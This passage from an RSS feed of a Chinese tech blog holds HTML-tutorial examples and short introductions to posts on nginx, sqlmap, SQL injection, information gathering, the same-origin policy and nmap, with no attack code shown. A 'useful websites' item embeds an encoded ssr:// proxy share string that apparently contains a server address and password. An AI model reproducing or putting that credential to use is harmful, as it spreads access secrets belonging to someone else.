&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="4-注释"&gt;4. 注释&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;&amp;lt;!-- 这是一个注释 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="5-段落"&gt;5. 段落&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个段落 &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是另一个段落&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="6-换行"&gt;6. 换行&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;段落&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;演示了分行的效果&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="7-文本格式化"&gt;7. 文本格式化&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个文本是加粗的&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;strong&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个文本是加粗的&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;strong&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;big&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个文本字体放大&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;big&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;em&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个文本是斜体的&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;em&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;i&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个文本是斜体的&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;i&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;small&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这个文本是缩小的&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;small&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;这个文本包含&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;下标&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;这个文本包含&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;sup&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;上标&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;sup&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;code&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;计算机输出&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;code&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;kbd&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;键盘输入&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;kbd&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;tt&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;打字机文本&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;tt&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;samp&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;计算机代码样本&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;samp&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;var&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;计算机变量&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;var&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Written by &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;mailto:webmaster@example.com&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Jon Doe&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;.&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Visit us at:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example.com&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Box 564, Disneyland&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;USA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;pre&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;此例演示如何使用 pre 标签
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;对空行和 空格
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;进行控制
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;pre&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="8-链接"&gt;8. 链接&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;https://www.xiaogeng.top/&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;saucerman&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;调到当前页书签
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;#C4&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;查看章节 4&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;章节 3&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这边显示该章节的内容……&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;C4&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;章节 4&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这边显示该章节的内容……&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;跳出框架
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;...&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;_top&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;点击这里!&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;电子邮件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;mailto:zhangrr601@163.com?subject=这是邮件的主题&amp;amp;body=这是邮件的内容&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;nofollow&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;普通发送邮件&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;mailto:zhangrr601@163.com?cc=someone@163.com&amp;amp;bcc=somebody@163.com&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;nofollow&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;带抄送密送发送邮件&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关于target：&lt;/p&gt;</description></item><item><title>安装nginx并配置多站点小记</title><link>https://saucer-man.com/operation_and_maintenance/38.html</link><pubDate>Tue, 29 May 2018 03:06:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/38.html</guid><description>&lt;p&gt;Nginx(&amp;ldquo;engine x&amp;rdquo;)是一款是由俄罗斯的程序设计师Igor Sysoev所开发高性能的 Web和 反向代理 服务器，也是一个 IMAP/POP3/SMTP 代理服务器。&lt;/p&gt;
&lt;p&gt;在高连接并发的情况下，Nginx是Apache服务器不错的替代品。&lt;/p&gt;
&lt;h2 id="1-安装"&gt;1. 安装&lt;/h2&gt;
&lt;p&gt;ubuntu下可直接命令行安装&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;centos下类似：&lt;/p&gt;</description></item><item><title>sqlmap中文使用手册</title><link>https://saucer-man.com/information_security/37.html</link><pubDate>Fri, 25 May 2018 03:02:00 +0000</pubDate><guid>https://saucer-man.com/information_security/37.html</guid><description>&lt;p&gt;&lt;strong&gt;写在前面&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;sqlmap是一个SQL注入自动化工具，同时也是开源的，由于其功能很多，用了一段时间，还是觉得对于用法有点模糊，于是就有根据官方文档整理一下sqlmap用法的想法，同时作为以后自己参考的手册。&lt;/p&gt;
&lt;p&gt;由于本人英语水平有限（很菜），在翻译过程中加上了自己的想法和理解，也简化了一些文字描述，如若有错，欢迎指正！&lt;/p&gt;</description></item><item><title>简单归纳被动信息收集</title><link>https://saucer-man.com/information_security/36.html</link><pubDate>Sat, 19 May 2018 03:01:00 +0000</pubDate><guid>https://saucer-man.com/information_security/36.html</guid><description>&lt;h2 id="1-被动信息收集简介"&gt;1. 被动信息收集简介&lt;/h2&gt;
&lt;p&gt;亚伯拉罕.林肯说过一句话：‘如果我有六个小时来砍一棵树，我会先花四个小时把斧头磨锋利’。无论做什么工作，第一步总是调研，准备工作越彻底，成功的几率就越高，因此网络攻击第一步一般都是信息收集，信息收集又分为被动信息收集和主动信息收集，这里主要记录一下被动信息的过程和步骤，以及使用的工具。&lt;/p&gt;</description></item><item><title>sql注入原理和预防</title><link>https://saucer-man.com/information_security/35.html</link><pubDate>Fri, 18 May 2018 03:00:00 +0000</pubDate><guid>https://saucer-man.com/information_security/35.html</guid><description>&lt;h2 id="1-sql注入原理"&gt;1. sql注入原理&lt;/h2&gt;
&lt;p&gt;所谓sql注入，就是通过把sql命令插入到wb表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的sql命令。&lt;strong&gt;注入漏洞的本质，就是把用户输入的数据当作代码执行，这里有两个关键条件，第一个是用户能够控制输入，第二个是原本程序要执行的代码，拼接了用户输入的数据。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>一些网站</title><link>https://saucer-man.com/else/34.html</link><pubDate>Thu, 17 May 2018 02:58:00 +0000</pubDate><guid>https://saucer-man.com/else/34.html</guid><description>&lt;h2 id="免费网站"&gt;免费网站&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;免费试用的google云&lt;/strong&gt;
&lt;a href="https://cloud.google.com/sql/"&gt;https://cloud.google.com/sql/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文档格式转换（pdf转word)&lt;/strong&gt;
&lt;a href="https://smallpdf.com/"&gt;https://smallpdf.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;免费思维导图&lt;/strong&gt;
&lt;a href="https://processon.com/support"&gt;https://processon.com/support&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;免费域名&lt;/strong&gt;
&lt;a href="http://www.dot.tk/zh/index.html"&gt;http://www.dot.tk/zh/index.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在线免费的mongodb空间&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://mlab.com/"&gt;https://mlab.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;免费的Neo4j云服务&lt;/strong&gt;
&lt;a href="https://app.graphenedb.com/dbs/legutester/connection"&gt;https://app.graphenedb.com/dbs/legutester/connection&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;支付宝免费移动建站&lt;/strong&gt;
&lt;a href="http://fengdie.alipay-eco.com"&gt;http://fengdie.alipay-eco.com&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssr20180520-更新"&gt;ssr(2018/05/20 更新）&lt;/h2&gt;
&lt;p&gt;ssr://Yml5b25nLXNkLWtyLWVsYjEtMjBjMDIzOTRjZWM3Yzk0ZS5lbGIuYXAtbm9ydGhlYXN
0LTIuYW1hem9uYXdzLmNvbTozMTQ0NDpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46Uz
FOWVRtaHVXbkJxZDBNMlVHTTJRdy8_b2Jmc3BhcmFtPSZwcm90b3BhcmFtPSZyZW1h
cmtzPWEzSXdNUSZncm91cD01YmlCNTVTbzU3Tzc1WWlY&lt;/p&gt;</description></item><item><title>python小实例</title><link>https://saucer-man.com/python/33.html</link><pubDate>Wed, 16 May 2018 02:55:00 +0000</pubDate><guid>https://saucer-man.com/python/33.html</guid><description>&lt;h2 id="1-有限排列问题"&gt;1. &lt;strong&gt;有限排列问题&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;题目：有四个数字：1、2、3、4，能组成多少个互不相同且无重复数字的三位数？各是多少？&lt;/p&gt;
&lt;p&gt;实现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print([(x,y,z) for x in range(1, 5) for y in range(1, 5) for z in range(1, 5) ])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;注意：迭代器产生的是list对象，只能用列表接收输出&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="2-斐波那契数列"&gt;2. &lt;strong&gt;斐波那契数列&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;斐波那契数列（Fibonacci sequence），又称黄金分割数列，指的是这样一个数列：0、1、1、2、3、5、8、13、21、
34、……。
在数学上，费波那契数列是以递归的方法来定义：
F0 = 0 (n=0)
F1 = 1 (n=1)
Fn = F[n-1]+ F&lt;a href="n=%3E2"&gt;n-2&lt;/a&gt;&lt;/p&gt;</description></item><item><title>关于浏览器同源策略</title><link>https://saucer-man.com/information_security/32.html</link><pubDate>Mon, 14 May 2018 02:54:00 +0000</pubDate><guid>https://saucer-man.com/information_security/32.html</guid><description>&lt;p&gt;游览器作为网页的入口，是我们直接与服务器进行交互的地方，听说过的浏览器安全事件也不在少数，因此浏览器安全也是浏览器竞争市场的重要因素。&lt;/p&gt;
&lt;h2 id="1-同源策略定义"&gt;&lt;strong&gt;1. 同源策略定义&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;同源策略是浏览器最可信也最基础的安全功能，可以说Web是构建在同源策略基础之上的，浏览器只是针对同源策略的一种实现。**浏览器的同源策略限制了来自不同源的document或者脚本对当前的document读取或设置某些属性。**同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。&lt;/p&gt;</description></item><item><title>hexo+github page搭建属于自己的博客</title><link>https://saucer-man.com/else/31.html</link><pubDate>Thu, 10 May 2018 02:52:00 +0000</pubDate><guid>https://saucer-man.com/else/31.html</guid><description>&lt;p&gt;搭建博客之前先来看几个概念：&lt;/p&gt;
&lt;p&gt;github是什么？作为程序员不知道这个网站可能连个假的程序员都算不上，这可是最大的男性交友平台。。其实这是个具有版本管理功能的代码托管平台，简单理解就是你可以在网站上建个自己的仓库，把自己写的代码存在上面，也可以放一个静态网页在上面。&lt;/p&gt;</description></item><item><title>端口扫描与nmap</title><link>https://saucer-man.com/information_security/30.html</link><pubDate>Sun, 06 May 2018 02:48:00 +0000</pubDate><guid>https://saucer-man.com/information_security/30.html</guid><description>&lt;h2 id="端口介绍"&gt;端口介绍&lt;/h2&gt;
&lt;p&gt;端口理解起来很简单，如果把主机电脑当作一个罗马，那么端口就是条条大路，但是不同的是我们给每条路做了一定的分配。&lt;/p&gt;
